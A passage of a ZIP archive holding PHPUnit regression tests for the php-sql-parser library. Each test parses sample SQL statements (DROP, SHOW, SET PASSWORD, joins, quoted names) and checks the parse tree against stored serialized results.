        $expected = getExpectedValue(dirname(__FILE__), 'issue74b.serialized');
        $this->assertEquals($expected, $p, 'drop schema statement');

        $sql = "DROP DATABASE IF EXISTS blah";
        $p = $parser->parse($sql, true);
        $expected = getExpectedValue(dirname(__FILE__), 'issue74c.serialized');
        $this->assertEquals($expected, $p, 'drop database if exists statement');

        $sql = "DROP SCHEMA IF EXISTS blah";
        $p = $parser->parse($sql, true);
        $expected = getExpectedValue(dirname(__FILE__), 'issue74d.serialized');
        $this->assertEquals($expected, $p, 'drop schema if exists statement');


        // DROP [TEMPORARY] TABLE [IF EXISTS] tbl_name [, tbl_name] ... [RESTRICT | CASCADE]
        $sql = "DROP TABLE blah1, blah2 RESTRICT";
        $p = $parser->parse($sql, true);
        $expected = getExpectedValue(dirname(__FILE__), 'issue74e.serialized');
        $this->assertEquals($expected, $p, 'drop table-list statement');

        $sql = "DROP TEMPORARY TABLE IF EXISTS blah1, blah2 CASCADE";
        $p = $parser->parse($sql, true);
        $expected = getExpectedValue(dirname(__FILE__), 'issue74f.serialized');
        $this->assertEquals($expected, $p, 'drop temporary table-list if exists statement');

    }
}

PK     \v F
  F
  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue80Test.phpnu [        <?php
/**
 * issue80.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue80Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue80() {


        $sql = "SELECT * FROM `model` WHERE `marker`='this_model' ORDER BY `test`";
        $parser = new PHPSQLParser($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue80a.serialized');
        $this->assertEquals($expected, $p, 'quoted column names');

        $sql = "SELECT x+3 `test` FROM `model` WHERE `marker`='this_model' ORDER BY `test`";
        $parser->parse($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue80b.serialized');
        $this->assertEquals($expected, $p, 'quoted names and aliases');

    }
}

PK     \ȇ
  
  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue60Test.phpnu [        <?php
/**
 * issue60.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue60Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue60() {


        $sql = "SELECT id, password
        FROM users";
        $parser = new PHPSQLParser($sql, true);
        $p = $parser->parsed;
        $this->assertSame(11, $p['SELECT'][1]['position'], 'wrong usage of keyword password');
        $this->assertSame('colref', $p['SELECT'][1]['expr_type'], 'password should be a colref here');


        $sql = "SET PASSWORD = PASSWORD('haha')";
        $parser = new PHPSQLParser($sql, true);
        $p = $parser->parsed;
        $this->assertSame('colref', $p['SET'][0]['sub_tree'][0]['expr_type'], 'set the password column of mysql.user');
        $this->assertSame('function', $p['SET'][0]['sub_tree'][2]['expr_type'], 'set password value');

    }
}

PK     \P    A  vendor/greenlion/php-sql-parser/tests/cases/parser/nestedTest.phpnu [        <?php
/**
 * nestedTest.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class NestedTest extends \PHPUnit\Framework\TestCase {
	
    public function testNested1() {
        $parser = new PHPSQLParser();

        $sql = 'SELECT *
            FROM (t1 LEFT JOIN t2 ON t1.a=t2.a)
                 LEFT JOIN t3
                 ON t2.b=t3.b OR t2.b IS NULL';
        $parser->parse($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'nested1.serialized');
        $this->assertEquals($expected, $p, 'nested left joins');
    }
    
    public function testNested2() {
    	$parser = new PHPSQLParser();
        $sql = "SELECT * FROM t1 LEFT JOIN (t2, t3, t4)
                         ON (t2.a=t1.a AND t3.b=t1.b AND t4.c=t1.c)";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'nested2.serialized');
        $this->assertEquals($expected, $p, 'left joins with multiple tables');

    }
}
?>
PK     \Z*    B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue44Test.phpnu [        <?php
/**
 * issue44Test.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use Analog\Analog;

class Issue44Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue44() {
        $parser = new PHPSQLParser();

        $sql = "SELECT m.id, m.title, m.module, m.position, m.content, m.showtitle, m.params, mm.menuid
        FROM kj9un_modules AS m
        LEFT JOIN kj9un_modules_menu AS mm ON mm.moduleid = m.id
        LEFT JOIN kj9un_extensions AS e ON e.element = m.module AND e.client_id = m.client_id
        WHERE m.published = 1 AND e.enabled = 1 AND (m.publish_up = '0000-00-00 00:00:00' OR m.publish_up <= '2012-04-21 09:44:01') AND (m.publish_down = '0000-00-00 00:00:00' OR m.publish_down >= '2012-04-21 09:44:01') AND m.access IN (1,1) AND m.client_id = 0 AND (mm.menuid = 170 OR mm.menuid <= 0) AND m.language IN ('en-GB','*')
        ORDER BY m.position, m.ordering";
        $parser->parse($sql, true);
        $p = $parser->parsed;
        Analog::log(serialize($p));
        $expected = getExpectedValue(dirname(__FILE__), 'issue44.serialized');
        $this->assertEquals($expected, $p, 'issue 44 position problem');
    }
}
?>
PK     \eH8  8  ?  vendor/greenlion/php-sql-parser/tests/cases/parser/showTest.phpnu [        <?php
/**
 * show.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class showTest extends \PHPUnit\Framework\TestCase {
	
    public function testShow() {
        $sql = "show columns from `foo.bar`";
        $parser = new PHPSQLParser($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'show1.serialized');
        $this->assertEquals($expected, $p, 'show columns from');


        $sql = "show CREATE DATABASE `foo`";
        $parser = new PHPSQLParser($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'show2.serialized');
        $this->assertEquals($expected, $p, 'show create database');

        $sql = "show CREATE SCHEMA `foo`";
        $parser = new PHPSQLParser($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'show7.serialized');
        $this->assertEquals($expected, $p, 'show create schema');

        $sql = "show DATABASES LIKE '%bar%'";
        $parser = new PHPSQLParser($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'show3.serialized');
        $this->assertEquals($expected, $p, 'show databases like');
        
        $sql = "show SCHEMAS LIKE '%bar%'";
        $parser = new PHPSQLParser($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'show6.serialized');
        $this->assertEquals($expected, $p, 'show schemas like');


        $sql = "SHOW ENGINE foo STATUS";
        $parser = new PHPSQLParser($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'show4.serialized');
        $this->assertEquals($expected, $p, 'show engine status');


        $sql = "SHOW FULL COLUMNS FROM `foo.bar` FROM hohoho LIKE '%xmas%'";
        $parser = new PHPSQLParser($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'show5.serialized');
        $this->assertEquals($expected, $p, 'show full columns from like');

    }
}

PK     \a;&&
  &
  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue55Test.phpnu [        <?php
/**
 * issue55.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue55Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue55() {


        $parser = new PHPSQLParser();
        $sql = "GROUP BY a, b, table.c";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue55a.serialized');
        $this->assertEquals($expected, $p, 'partial SQL statement - group by clause');


        $sql = "ORDER BY a ASC, b DESC, table.c ASC";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue55b.serialized');
        $this->assertEquals($expected, $p, 'partial SQL statement - order by clause');

    }
}

PK     \@/ĞB	  B	  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue42Test.phpnu [        <?php
/**
 * issue42.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue42Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue42() {


        $parser = new PHPSQLParser();

        $sql = "SELECT 'a string with an escaped quote \' in it' AS some_alias FROM some_table";
        $parser->parse($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue42.serialized');
        $this->assertEquals($expected, $p, 'escaped quote in string constant');

    }
}

PK     \n    C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue149Test.phpnu [        <?php
/**
 * issue149Test.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;

class Issue149Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue149() {
		$sql = "SELECT * from tab where ifnull(col_name,'') <> ''";
		$parser = new PHPSQLParser($sql, true);
		$p = $parser->parsed;
		$expected = getExpectedValue(dirname(__FILE__), 'issue149.serialized');
		$this->assertEquals($expected, $p, 'ifnull() doesn\'t parse properly');
    }
}
?>
PK     \kͤ
  
  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue71Test.phpnu [        <?php
/**
 * issue71.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue71Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue71() {


        $sql = "select * from table1 as event";
        $parser = new PHPSQLParser($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue71a.serialized');
        $this->assertEquals($expected, $p, 'infinite loop on table alias "event"');

        $sql = "select acol from table as data";
        $parser = new PHPSQLParser($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue71b.serialized');
        $this->assertEquals($expected, $p, 'infinite loop on table alias "data"');

    }
}

PK     \偈k	  	  C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue125Test.phpnu [        <?php
/**
 * issue125.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue125Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue125() {


        $sql = "select t1.* from t1 left outer join t2 on left(t1.c1,6) = t2.c2";
        $parser = new PHPSQLParser($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue125.serialized');
        $this->assertEquals($expected, $p, 'LEFT as function within the ref clause');

    }
}

PK     \Q[R.
  .
  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue67Test.phpnu [        <?php
/**
 * issue67.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
